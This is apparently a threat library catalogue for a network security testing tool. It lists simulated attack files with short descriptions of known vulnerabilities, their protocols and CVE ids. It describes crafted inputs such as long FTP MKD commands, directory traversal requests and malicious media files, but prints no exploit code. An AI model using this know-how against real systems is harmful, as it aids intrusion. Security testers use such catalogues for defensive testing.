Threat File Name:	vivotek_motion_activex_bof_IPv6.xml

Executive Description:	Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) remote buffer overflow vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Vivotek Motion Jpeg Control ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040520-01_Opera_Telnet_URI_Handler_File_Creation_IPv6.xml
Executive Description:	Opera Telnet URI Handler File Creation (IPv6 Version)
Detailed Description:	Opera Software ASA's Opera Web browser is vulnerable to an attack of telnet URI handler. An attacker can invoke telnet with a trace file name as argument by requesting an URI address to opera web browser. The supplied trace file then can be created on the host of web browser's user. Therefore it is possible for the attacker to create malicious file which could be harmful to the user's system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0473
Threat Package:	Standard
Threat File Name:	clamav_upx_iof_IPv6.xml
Executive Description:	Clam AntiVirus Win32-UPX Heap Overflow (IPv6 Version)
Detailed Description:	This threat attempts an HTTP download of a malicious UPX packed PE executable file, this file causes an integer overflow in non-default configured installations of ClamAV. This threat is delivered via HTTP which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1614
Threat Package:	Standard
Threat File Name:	p-news_rfi_IPv6.xml
Executive Description:	P-News 1.16, 1.17 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. P-News is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToPUT_IPv6.xml
Executive Description:	Fuzz HTTP PUT appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20131230-01_RealNetworks_RealPlayer_RMP_File_Stack_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer RMP File Stack Buffer Overflow
Detailed Description:	A stack buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due an error when handling RMP files. Incorrect handling of the 'version' and 'encoding' attributes of the XML declaration tag can result in a stack buffer overflow. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted RMP file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-7260
OSVDB:	101356
Threat File Name:	FSC20091203-02_Adobe_Illustrator_EPS_File_DSC_Comment_Buffer_Overflow.xml
Executive Description:	Adobe Illustrator EPS File DSC Comment Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Adobe Illustrator software. The vulnerability is due to a boundary error while parsing Encapsulated Postscript (.eps) files containing an overly long DSC comment value. Remote attackers can exploit this vulnerability by enticing target users to open a crafted EPS file with a vulnerable version of the affected product. Successful exploitation would result in arbitrary code execution with the privileges of the logged in user. If an attack is unsuccessful, the behaviour of the vulnerable application will appear unchanged.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-4195
Threat Package:	Standard
Threat File Name:	TSL20150903-02_Novell_ZENworks_Mobile_Management_Cross-Site_Scripting.xml
Executive Description:	Novell ZENworks Mobile Management Cross-Site Scripting
Detailed Description:	A cross-site scripting vulnerability has been reported in Novell ZENworks Mobile Management. The vulnerability is due to insufficient validation of output before it is returned to the user. >A remote attacker can exploit this vulnerability by enticing a user to click on a maliciously crafted link. This can lead to arbitrary script code execution in the context of the affected user.
Protocol Type:	HTTP, HTTPS
Threat File Name:	firefoxUpload_IPv6.xml
Executive Description:	Firefox File Stealing (IPv6 Version)
Detailed Description:	This threat attempts to steal a file off of a client computer via a malicious webpage. This is an attack from the virtual server. Web servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2782
Threat Package:	Standard
Threat File Name:	FSC20040826-02_Ipswitch_WhatsUp_Gold_Web_Server_Buffer_Overflow.xml
Executive Description:	Ipswitch WhatsUp Gold Web Server Buffer Overflow
Detailed Description:	A vulnerability exists in the way the web server component of Ipswitch WhatsUp Gold parses HTTP requests. A buffer overflow occurs due to insufficient input validation of the instancename parameter when creating a new notification record. An attacker exploiting this vulnerability can cause the service to crash or remotely execute arbitrary code.
Protocol Type:	HTTP
CVEID:	CVE-2004-0798
Threat Package:	Standard
Threat File Name:	FSC20100413-26_Microsoft_Windows_SMB_Client_Message_Size_Vulnerability_IPv6.xml

Executive Description:	Microsoft Windows SMB Client Message Size Vulnerability (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows SMB Client. The vulnerability is due to improper validation of certain SMB fields when parsing transaction responses. Remote unauthenticated attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server and sending a specially crafted SMB response to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2010-0477
Threat Package:	Standard
Threat File Name:	TSL20140811-05_AlienVault_OSSIM_Framework_Backup_Command_Execution.xml
Executive Description:	AlienVault OSSIM Framework Backup Command Execution
Detailed Description:	A command execution vulnerability exists in AlienVault OSSIM Framework. The vulnerability is due to insufficient sanitization of user supplied data that is used to execute backup commands. A remote unauthenticated attacker could exploit this vulnerability by sending a crafted request to the vulnerable server. Successful exploitation could result in command execution with root privileges. Tester should set variable \$destPort 40003 before test.
Protocol Type:	AlienVault OSSIM Framework Protocol
CVEID:	CVE-2014-5158
OSVDB:	109579
Threat File Name:	TSL20170217-05_Trend_Micro_Control_Manager_importFile.php_Directory_Traversal.xml
Executive Description:	Trend Micro Control Manager importFile.php Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters(..) by importFile.php. A remote attacker could exploit this vulnerability by uploading arbitrary files onto the vulnerable server. Successful exploitation results in arbitrary code execution under the security context the Trend Micro Control Manager user.
Protocol Type:	HTTPS
Threat File Name:	FSC20090525-04_Sun_Solaris_sadmind_RPC_Request_Integer_Overflow_IPv6.xml
Executive Description:	Sun Solaris sadmind RPC Request Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the sadmind service within the Sun Solaris operating system. The vulnerability resides in the calculation of a buffer allocation size while parsing specially crafted RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending a crafted RPC message to the target host, to potentially inject and execute arbitrary code with root level privileges. In a sophisticated attack case where code injection and execution is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally root. In case if the code execution is not achieved, the sadmind service will be terminated abnormally. (IPv6 Version)
Protocol Type:	SUNRPC/IPv6
CVEID:	CVE-2008-3870
Threat Package:	Standard
Threat File Name:	FSC20080408-12_Microsoft_Windows_GDI_Metatile_Image_Handling_Heap_Overflow.xml
Executive Description:	Microsoft Windows GDI Metatile Image Handling Heap Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to a calculation error while handling EMF or WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted EMF or WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1083
Threat Package:	Standard
Threat File Name:	FSC20090616-04_CA_ARCserve_Backup_Message_Engine_Denial_of_Service.xml
Executive Description:	CA ARCserve Backup Message Engine Denial of Service
Detailed Description:	A denial of service vulnerability exists in CA ARCserve Backup Message Engine. The vulnerability is due to insufficient data validation. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. A successful attack could create a denial of service condition to the Message Engine service.
Protocol Type:	DCE-RPC
CVEID:	CVE-2009-1761
Threat Package:	Standard
Threat File Name:	flip4mac_wmv_corruption.xml
Executive Description:	Telestream Flip4Mac WMV Parsing Memory Corruption Vulnerability
Detailed Description:	This threat simulates a client requesting a media file, and the server replying with a maliciously constructed WMV file. This file will cause a memory corruption error in the Telestream Flip4Mac player. The transport of the WMV file is done via HTTP, which generally runs on port 80. The payload of this threat is for Intel based Macs.
Protocol Type:	HTTP
CVEID:	CVE-2007-0466
Threat Package:	Standard
Threat File Name:	CUPSdos_IPv6.xml
Executive Description:	CUPS Web Interface Denial of Service (IPv6 Version)
Detailed Description:	By placing a ../../ in a request URL to the CUPS management interface, the CUPS service can be made to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2874
OSVDB:	12834
Threat Package:	Standard
Threat File Name:	FSC20071009-22_Microsoft_Internet_Explorer_Error_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Internet Explorer Error Handling Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in certain versions of Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain error situations. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3893
Threat Package:	Standard
Threat File Name:	TSL20140324-04_Microsoft_Word_RTF_listoverridecount_Memory_Corruption.xml
Executive Description:	Microsoft Word RTF listoverridecount Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Word. The vulnerability is due to improper handling of structures when parsing a specially crafted RTF document. Remote, unauthenticated attackers could exploit this vulnerability by enticing the target user to open a specially crafted RTF file. Successful exploitation could allow the attacker to execute arbitrary code, or terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2014-1761
OSVDB:	104895
Threat File Name:	FSC20040921-01_Ipswitch_WhatsUp_Gold_DOS_Device_HTTP_Request_Denial_of_Service.xml
Executive Description:	Ipswitch WhatsUp Gold DOS Device HTTP Request Denial of Service
Detailed Description:	A vulnerability exists in the way the web server component of Ipswitch WhatsUp Gold processes a request that contains a special device name. An unhandled exception occurs when an HTTP request containing a reserved DOS device name is processed. An attacker exploiting this vulnerability can cause the web server component to terminate, causing a denial of service.
Protocol Type:	HTTP
CVEID:	CVE-2004-0799
Threat Package:	Standard
Threat File Name:	NOOPtcpSPARC_IPv6.xml
Executive Description:	TCP NOOP packet variant SPARC (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sld in it. A NOOP sld is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140724-13_HP_Network_Virtualization_toServerObject_Directory_Traversal.xml
Executive Description:	HP Network Virtualization toServerObject Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in HP Network Virtualization software. The vulnerability is due to insufficient input validation of user parameters passed to "toServerObject" method. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the vulnerable service. In the event of a successful attack, arbitrary files can be created on the server leading to arbitrary code execution with SYSTEM privileges. Tester should set variable \$destPort to 8182 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-2626
OSVDB:	109474
Threat File Name:	php_iff_dos_IPv6.xml
Executive Description:	PHP Malformed IFF Image DOS (IPv6 Version)
Detailed Description:	This threat mimics the behaviour of uploading a malformed .IFF image to a PHP script, causing it to go into a recursive loop. This can cause a denial of service condition on a web server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0524
Threat Package:	Standard
Threat File Name:	FSC20100702-05_Microsoft_IIS_Directory_Authentication_Security_Bypass.xml
Executive Description:	Microsoft IIS Directory Authentication Security Bypass
Detailed Description:	A policy bypass vulnerability exists in Microsoft Internet Information Services. The vulnerability is due to an error while processing HTTP requests for resources protected by access control mechanisms. If the protected directory resides on a NTFS file system, and the NTFS name and stream type are included in the directory name in an HTTP request, then information in protected directories can be accessed without authentication. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted HTTP requests to a vulnerable Microsoft IIS server. Successful exploitation would allow the attacker to bypass security checks to list, and download files from a vulnerable system.
Protocol Type:	HTTP,HTTPS
Threat Package:	Standard
Threat File Name:	BGPopenFlood.xml
Executive Description:	BGP Open Flood
Detailed Description:	This is a flood of the Border Gateway Protocol's session initiating message. BGP typically uses port TCP 179.
Protocol Type:	BGP
Threat Package:	Standard
Threat File Name:	FSC20100810-35_Microsoft_Office_Word_HTML_Linked_Objects_Memory_Corruption.xml
Executive Description:	Microsoft Office Word HTML Linked Objects Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Word. The vulnerability is due to the application incorrectly handling a malformed plcflldMom record. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-1903
Threat Package:	Standard
Threat File Name:	TSL20140217-03_FreePBX_Framework_Module_config.php_Code_Execution_IPv6.xml
Executive Description:	FreePBX Framework Module config.php Code Execution IPv6 version.

Detailed Description:	A code execution vulnerability exists in FreePBX. The vulnerability is due to an error in admin/config.php, the main interface to FreePBX. A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the vulnerable system with the privileges of FreePBX.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-1903
OSVDB:	103240
Threat File Name:	TSL20140930-07_ManageEngine_Multiple_Products_FileCollector_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine Multiple Products FileCollector Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in ManageEngine OpManager, Social IT Plus and IT360. The vulnerability is due to lack of authentication and insufficient input validation on parameters sent to "/servlets/FileCollector" in HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-6035
OSVDB:	112277
Threat File Name:	TSL20150811-25_Microsoft_Internet_Explorer_CVE_2015-2443_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2443 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2443
Threat File Name:	FSC20071002-14_X_Org_X_Font_Server_QueryXBitmaps_and_QueryXExtents_Handlers_Integer_Overflow_IPv6.xml
Executive Description:	X.Org X Font Server QueryXBitmaps and QueryXExtents Handlers Integer Overflow (IPv6 Version)
Detailed Description:	There exists multiple vulnerabilities in the way X.Org Font Server handles incoming QueryXExtents8, QueryXExtents16, QueryXBitmaps8 and QueryXBitmaps1 protocol requests. More specifically, the vulnerability is due to lack of proper validation on the NumberOfRanges field of the mentioned requests. By sending specially crafted requests, an unauthenticated remote attacker can leverage this flaw to execute arbitrary code on the target host with root or System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4568
Threat Package:	Standard
Threat File Name:	FSC20100512-06_HP_OpenView_NNM_getnnmdata_exe_CGI_Hostname_Parameter_Buffer_Overflow.xml
Executive Description:	HP OpenView NNM getnnmdata.exe CGI Hostname Parameter Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in getnnmdata.exe when processing the Hostname variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the getnnmdata.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1555
Threat File Name:	ipv6routersolflood_IPv6.xml
Executive Description:	IPv6 Router Solicitation Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of ICMPv6 router solicitation requests. This can flood a router that tries to keep up by replying with router advertisement packets. (IPv6 Version)
Protocol Type:	ICMP6/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140320-02 EMC_CMCNE_FileUploadController_Information_Disclosure_IPv6.xml
Executive Description:	EMC CMCNE FileUploadController Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to insufficient input validation in the FileUploadController servlet when processing certain HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request to the vulnerable service. In a successful attack scenario, the attacker can disclose the contents of arbitrary files on the local filesystem
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-2276
OSVDB:	104671
Threat File Name:	cesarftp_bof_IPv6.xml
Executive Description:	CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted FTP MKD command with an excessive length causing a stack overflow. CesarFTP is an FTP daemon which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-2961
Threat Package:	Standard
Threat File Name:	snort_bo_IPv6.xml
Executive Description:	Snort Backorifice Ping (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in snort's backorifice dissector. This leads to remote compromise and code execution of a Snort based IDS sensor. This packet travels to port 53 on UDP, and looks like a malformed DNS packet. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2005-3252
OSVDB:	20034
Threat Package:	Standard

Threat File Name:	FSC20071019-07_Mozilla_Firefox_XBL_Event_Handler_Tags Removal_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox XBL Event Handler Tags Removal Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw exists in the XBL (Extensible Binding Language) component and specifically happens via dynamic manipulation of XUL Tags inside Event Handlers. A remote attacker can exploit this vulnerability to execute arbitrary code in the security context of the target browser. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-5339
Threat Package:	Standard
Threat File Name:	FSC20080508-18_TFTP_Server_Error_Packet_Handling_Buffer_Overflow.xml
Executive Description:	TFTP Server Error Packet Handling Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in TFTP Server. The flaw is due to improper handling of TFTP error packets with overly long error messages. An unauthenticated remote attacker can exploit this vulnerability by sending crafted TFTP error packets to the target host. Successful attack could allow for arbitrary code execution with privileges of the server process, normally System on Windows platforms and root on UNIX/Linux platforms. If the attack is not successful in code injection and execution, the target TFTP server process will terminate upon exploitation. If an attack results in successful code injection and its subsequent execution, the behaviour of the target host will depend on the intention of the attacker. Note that any code execution will be within the security context of the affected service, normally System.
Protocol Type:	TFTP
CVEID:	CVE-2008-2161
Threat Package:	Standard
Threat File Name:	TSL20110720-09_Oracle_GlassFish_Server_Malformed_Username_Cross_Site_Scripting.xml
Executive Description:	Oracle GlassFish Server Malformed Username Cross Site Scripting
Detailed Description:	A persistent cross site scripting vulnerability has been reported in the HTTP administration component of Oracle's GlassFish Server. The vulnerability is due to insufficient input validation on incorrect username values, which are then written to a log file. A attacker can exploit this vulnerability by sending specially crafted HTTP request to the server. Successful exploitation can result in script code being executed in the context of the user, normally administrator, viewing the log files.
Protocol Type:	HTTP
CVEID:	CVE-2011-2260
Threat File Name:	TSL20130212-21_Microsoft_Internet_Explorer_CPasteCommand_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CPasteCommand Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0027
OSVDB:	90124
Threat File Name:	TSL20121121-07_Sophos_Anti-Virus_CAB_Files_Invalid_typeCompress_Parsing_Heap_Buffer_Overflow.xml
Executive Description:	Sophos Anti-Virus CAB Files Invalid typeCompress Parsing Heap Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Sophos Anti-Virus. The vulnerability is due to an error in the way the application handles invalid typeCompress value. The error causes the bounds check on the input data size being skipped, which further leads to a heap buffer overflow. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted CAB file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87062
Threat File Name:	wbblog_xss.xml
Executive Description:	WBBlog Cross Site Scripting Vulnerability
Detailed Description:	This threat attempts to cause a cross site scripting condition through the Index.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. WBBlog is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1482
Threat Package:	Standard
Threat File Name:	modernbill_rfi.xml
Executive Description:	Modernbill Config.PHP Remote File Include Vulnerability Modernbill Config.PHP Remote File Include Vulnerability Modernbill Config.PHP Remote File Include Vulnerability Modernbill Config.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Modernbill is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090206-19_HP_OpenView_Network_Node_Manager_ovlaunch_HTTP_Request_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager ovlaunch HTTP Request Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in HP OpenView Network Node Manager software. The vulnerability is due to a boundary error while processing specially crafted HTTP requests sent to the server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4562
Threat Package:	Standard

Threat File Name:	TSL20140718-03_HP_Data_Protector_Opcode_28_and_11_Command_Execution.xml
Executive Description:	HP Data Protector Opcode 28 and 11 Command Execution
Detailed Description:	An command execution vulnerability exists in Hewlett-Packard Data Protector. The vulnerability is due to the a design weakness when handling requests to port 5555. A remote attacker can exploit this vulnerability by sending crafted packets to the target service. Successful exploitation could lead to arbitrary command execution with System privileges on the target server. Tester should turn variable \$destPort into 5555 before test.
Protocol Type:	HP Data Protector OmniInet Protocol(up TCP port 5555)
CVEID:	CVE-2014-2623
OSVDB:	109069
Threat File Name:	FSC20081014-20_Microsoft_Excel_VisualBasic_Object_Validation_Code_Execution.xml
Executive Description:	Microsoft Excel VisualBasic Object Validation Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel product. The vulnerability is due to improper parsing of Excel documents containing specially crafted ActiveX objects. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3477
Threat Package:	Standard
Threat File Name:	songbird_dos.xml
Executive Description:	Songbird Media Player <= 0.2 Format String Denial Of Service Vulnerability
Detailed Description:	This threat uses a malicious M3U file to cause a denial of service condition in vulnerable Songbird Media Player software. Songbird Media Player is a client application that typically retrieves M3U files from web servers listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	dlink_snmp_pass_IPv6.xml
Executive Description:	D-Link Wireless Router Password Disclosure (IPv6 Version)
Detailed Description:	This threat sends an SNMP request that causes certain versions of D-Link's wireless routers to disclose the password for the device. This can be used by an attacker to redirect traffic, or deny service to other users. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2001-1220
OSVDB:	9403
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_PrepndIndexWithI.xml
Executive Description:	Fuzz HTTP Request-URI with index.htm
Detailed Description:	Fuzzes the Request-URI field by replicating the letter i in index.html between 0 and 1024 times.
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20141014-16_Microsoft_NET_iriParsing_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft .NET iriParsing Remote Code Execution IPv6 version.
Detailed Description:	A remote code execution vulnerability exists in Microsoft .NET Framework. The vulnerability is due to the way that internationalized resource identifiers (Iri) is processed. A remote attacker could exploit this vulnerability by sending a malicious request to the target server. Successful exploitation could result in arbitrary code execution in the security context in which the .NET application runs. If tester prefer to test HTTPS, you should set variable \$HTTPdestPort 443 before test.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-4121
OSVDB:	113185
Threat File Name:	barracuda_dirtransversal.xml
Executive Description:	BarracudaDrive Web Server Directory Traversal Vulnerability
Detailed Description:	This threat demonstrates a directory traversal vulnerability in BarracudaDrive Web Server allows for reading of arbitrary files via a .. (dot dot) in the URI. BarracudaDrive Web Server typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6317
Threat Package:	Standard
Threat File Name:	TSL20160128-05_Oracle_Application_Testing_Suite_UploadServlet_filename_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Application Testing Suite UploadServlet filename Directory Traversal(IPv6 version)
Detailed Description:	A directory path traversal vulnerability exists in the in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP request header, filename.A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation would lead to arbitrary code execution under the security context of System.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2016-0490
Threat File Name:	nimda15_IPv6.xml
Executive Description:	Nimda Request URL 15 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	hrsTomcat.xml
Executive Description:	HTTP Request Smuggling Credential Hijack
Detailed Description:	This threat attempts to redirect a user to a different webpage than what they originally requested, using their credentials. This threat would normally be targeted at a proxy port or port 80.
Protocol Type:	HTTP

CVEID:	CVE-2005-2090
OSVDB:	17738
Threat Package:	Standard
Threat File Name:	etherealSMBDoS_IPv6.xml
Executive Description:	Ethereal NetBIOS Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes Ethernet to crash when it dissects the packet. This can be used by an attacker to mask further activity if an administrator is using Ethernet to analyze traffic. (IPv6 Version)
Protocol Type:	NETBIOS_DS/IPv6
CVEID:	CVE-2005-1468
OSVDB:	16109
Threat Package:	Standard
Threat File Name:	FSC20081023-05_Multiple_Vendors_libspf2_DNS_TXT_Record_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Multiple Vendors libspf2 DNS TXT Record Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the Sender Policy Framework library (libspf2). The flow is due to boundary error when processing crafted DNS TXT record. An attacker who runs a malicious DNS server can exploit this vulnerability by sending triggering email message to the target system. Successful attack could allow for executing arbitrary code with System or root level privileges. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2008-2469
Threat Package:	Standard
Threat File Name:	FSC20080923-28_Mozilla_Firefox_UTF-8_URL_Handling_Stack_Buffer_Overflow.xml
Executive Description:	Mozilla Firefox UTF-8 URL Handling Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Mozilla Firefox. The vulnerability is due to insufficient validation of URL containing UTF-8 encoded characters. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0016
Threat Package:	Standard
Threat File Name:	FSC20040811-01_Microsoft_Windows_Large_Image_Resize_DoS.xml
Executive Description:	Microsoft Windows Large Image Resize DoS
Detailed Description:	While rendering a normal image with excessively large resizing parameters in an HTML page, numerous applications could cause a infinite loop in the FrameBuffer display driver of Windows and eventually crash the system, leading to a Denial of Service condition.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	Verso_frad_bof.xml
Executive Description:	Verso NetPerformer Frame Relay Access Device Telnet Buffer Overflow Vulnerability
Detailed Description:	This threat sends a very long login name to the telnet service on a NetPerformer Frame Relay Access device causing a denial of service condition. NetPerformer is network equipment and the vulnerability effects the telnet server listening on port 23.
Protocol Type:	Telnet
Threat Package:	Standard
Threat File Name:	TSL20120607-02_Apple_QuickTime_MPEG_Stream_Padding_Buffer_Overflow_IPV6.xml
Executive Description:	Apple QuickTime MPEG Stream Padding Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to an integer underflow error which further leads to a heap-based buffer overflow when calculating the padding for an MPEG sample. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a specially crafted MPEG file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2012-0659
OSVDB:	81931
Threat File Name:	TSL20120814-21_Adobe_Reader_and_Acrobat_RMA_Objects_Memory_Corruption.xml
Executive Description:	Adobe Reader and Acrobat RMA Objects Memory Corruption
